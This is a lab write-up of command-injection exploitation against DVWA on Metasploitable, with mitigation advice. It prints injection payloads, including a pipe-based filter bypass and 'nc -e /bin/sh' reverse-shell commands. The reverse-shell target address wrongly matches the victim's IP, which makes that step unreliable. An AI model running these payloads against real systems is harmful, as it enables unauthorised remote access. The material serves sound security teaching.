**Code Execution Vulnerabilities Lab**

**Lab Overview**

This lab demonstrates the exploitation of **code execution vulnerabilities** to execute arbitrary commands on a target server. The goal was to identify and leverage weaknesses that allow command injection, leading to potential remote code execution (RCE). Using **Damn Vulnerable Web Application (DVWA)** hosted on **Metasploitable**, I tested different security levels (low, medium, and high) to assess how security measures impact the exploitation process.

**Objectives**

* Identify and exploit code execution vulnerabilities in a web application.
* Understand the impact of different security levels on command execution.
* Establish a reverse shell for further exploitation.
* Analyze and recommend mitigation strategies to prevent such vulnerabilities.

**Steps Taken**

**Step 1: Identifying Code Execution Vulnerabilities**

I accessed the **Command Execution** feature in DVWA, a known vulnerable web application. I performed an initial test by using the ping command to check if I could interact with the underlying OS. The server successfully responded, indicating the presence of a command execution vulnerability.

**Step 2: Enumerating the Target System**

To determine the OS type, I executed the following command:

192.168.1.2; uname -ra

The output confirmed that the target system was running **Linux**.

**Step 3: Executing Arbitrary Commands (Low Security Level)**

With the system confirmed as Linux-based, I attempted to list files in the working directory using:

192.168.1.2; ls

The command executed successfully, revealing that **no input filtering was applied**, allowing direct OS command execution.

**Step 4: Establishing a Reverse Shell (Low Security Level)**

To gain persistent access, I set up a Netcat listener on my **Kali Linux machine**:

nc -vvlp 8888

Then, I injected the following command into the vulnerable web application:

192.168.1.2; nc -e /bin/sh 192.168.1.2 8888

This command successfully initiated a **reverse shell**, granting remote access to the target system.

**Step 5: Bypassing Medium Security Level Restrictions**

At **medium security**, the application introduced **input filtering**, blacklisting characters like ; and &&. To bypass this restriction, I tried using an alternative operator:

192.168.1.2 | ls

The command executed successfully, confirming that **the filter only blocked specific characters but not all potential injection methods**.

I then used this method to re-establish a reverse shell:

192.168.1.2 | nc -e /bin/sh 192.168.1.2 8888

**Step 6: Testing High Security Level**

At **high security**, input validation was significantly improved. The application parsed and validated the input to ensure only legitimate IP addresses were processed. My previous techniques failed, as the application split and verified each octet of the IP address, preventing command injection.

**Code Execution Source Analysis**

Below is an overview of how the application handled user input at different security levels:

1. **Low Security:** No input validation or filtering, allowing direct command execution.
2. **Medium Security:** Blacklisted certain characters (e.g., ; and &&), but alternative separators like | could still be used.
3. **High Security:** Implemented strict input validation by ensuring the input matched an IP address format, blocking arbitrary command execution.

**Definitions**

* **Code Execution Vulnerability:** A security flaw that allows an attacker to execute arbitrary code or commands on a target system.
* **Reverse Shell:** A remote shell session where the target system connects back to the attacker, granting control.
* **Command Injection:** A vulnerability that allows unauthorized OS commands to be executed by manipulating user input.
* **Input Filtering:** A security mechanism that restricts certain characters or commands from being processed to prevent exploits.

**Mitigation Strategies**

To prevent command execution vulnerabilities, the following security measures should be implemented:

1. **Input Validation:**
   * Use strict input validation to ensure only expected values are processed.
   * Implement **allowlists** rather than **blocklists**, as attackers can find ways around blacklisted characters.
2. **Parameterization:**
   * Use parameterized queries instead of dynamically concatenating user input.
   * Avoid directly executing user-provided input within system commands.
3. **Escaping User Input:**
   * Ensure all user inputs are properly sanitized and escaped before processing.
4. **Least Privilege Principle:**
   * Run web applications and services with the **least possible privileges** to minimize the impact of potential exploits.
5. **Web Application Firewalls (WAFs):**
   * Deploy a WAF to detect and block malicious payloads in HTTP requests.
6. **Disabling Unnecessary Functions:**
   * Disable functions like shell\_exec() and system() in PHP applications if not required.
7. **Regular Security Audits:**
   * Conduct penetration testing and code reviews to identify and fix vulnerabilities.

**Lab Disclaimer**

This lab was conducted in a controlled environment for **educational purposes only**. The techniques demonstrated here aim to increase awareness of command execution vulnerabilities and their mitigation strategies. **Unauthorized use of these techniques on live systems without explicit permission is illegal and unethical. Always follow responsible disclosure practices and obtain proper authorization before conducting security assessments.**